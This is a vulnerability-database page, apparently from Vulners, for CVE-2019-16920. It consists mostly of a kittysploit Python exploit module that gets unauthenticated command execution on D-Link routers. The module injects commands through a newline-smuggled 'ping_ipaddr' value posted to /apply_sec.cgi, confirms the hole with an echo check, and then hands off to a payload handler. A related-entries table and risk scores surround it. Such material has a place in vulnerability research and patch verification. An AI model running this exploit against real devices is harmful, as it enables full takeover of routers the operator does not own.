D-Link PingTest RCE
| Reporter | Title | Published | Views | Family All 34 |
|---|---|---|---|---|
| Exploit for CVE-2014-8361 | 31 Mar 202611:18 | – | githubexploit | |
| Exploit for Deserialization of Untrusted Data in Redhat Jboss_Enterprise_Application_Platform | 8 Dec 202020:38 | – | gitee | |
| Exploit for Deserialization of Untrusted Data in Redhat Jboss_Enterprise_Application_Platform | 6 May 202015:20 | – | gitee | |
| Exploit for OS Command Injection in Dlink Dir-655_Firmware | 16 Oct 201908:48 | – | gitee | |
| Potential for China Cyber Response to Heightened U.S.–China Tensions | 20 Oct 202012:00 | – | ics | |
| People’s Republic of China State-Sponsored Cyber Actors Exploit Network Providers and Devices | 10 Jun 202212:00 | – | ics | |
| CVE-2019-16920 | 27 Sep 201900:00 | – | attackerkb | |
| D-Link Router Code Execution | 9 Dec 201900:00 | – | bdu_fstec | |
| CVE-2019-16920 | 7 Oct 201915:57 | – | circl | |
| D-Link Multiple Routers Command Injection Vulnerability | 25 Mar 202200:00 | – | cisa_kev |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""D-Link PingTest RCE"""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'D-Link PingTest RCE',
'description': 'Module exploits unauthenticated remote code execution occurs in D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565. The issue occurs when the attacker sends an arbitrary input to a "PingTest" device common gateway interface that could lead to common injection. An attacker who successfully triggers the command injection could achieve full system compromise. Later, it was independently found that these are also affected: DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, and DIR-825.',
'author': ['FortiGuard Labs', 'GH0st3rs'],
'cve': ['CVE-2019-16920'],
'platform': Platform.LINUX,
'payload': {'default': 'nopayload'},
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2019-16920', 'https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10124', 'https://www.fortinet.com/blog/threat-research/d-link-routers-found-vulnerable-rce.html', 'http://kb.cert.org/artifacts/cve-2019-16920.html'],
'tags': ['iot', 'router', 'rce', 'unauth', 'cve-2019-16920'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
},
}
target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(80, "Target HTTP port")
def execute(self, cmd):
headers = {
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"Cookie": "uid=1234123",
"Referer": "http://{}:{}/login_pic.asp".format(self.target, self.port),
}
data = {
"html_response_page": "login_pic.asp",
"action": "ping_test",
"ping_ipaddr": "127.0.0.1%0a{}".format(cmd)
}
response = self.http_request(
method="POST",
path="/apply_sec.cgi",
headers=headers,
data=data
)
if response is None:
return ""
return response.text.strip()
def check(self):
mark = self.random_text(32)
cmd = "echo {}".format(mark)
response = self.execute(cmd)
if mark in response:
return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"} # target is vulnerable
return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"} # target is not vulnerable
def run(self):
result = self.check()
if isinstance(result, dict):
if not result.get("vulnerable"):
self.not_vulnerable()
return False
elif not result:
self.not_vulnerable()
return False
print_success("Target appears vulnerable")
return self.handler_execute()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
19 Aug 2026 05:37Current
9.1Critical risk
Vulners AI Score9.1
CVSS 3.19.8
CVSS 210
EPSS0.99996
SSVC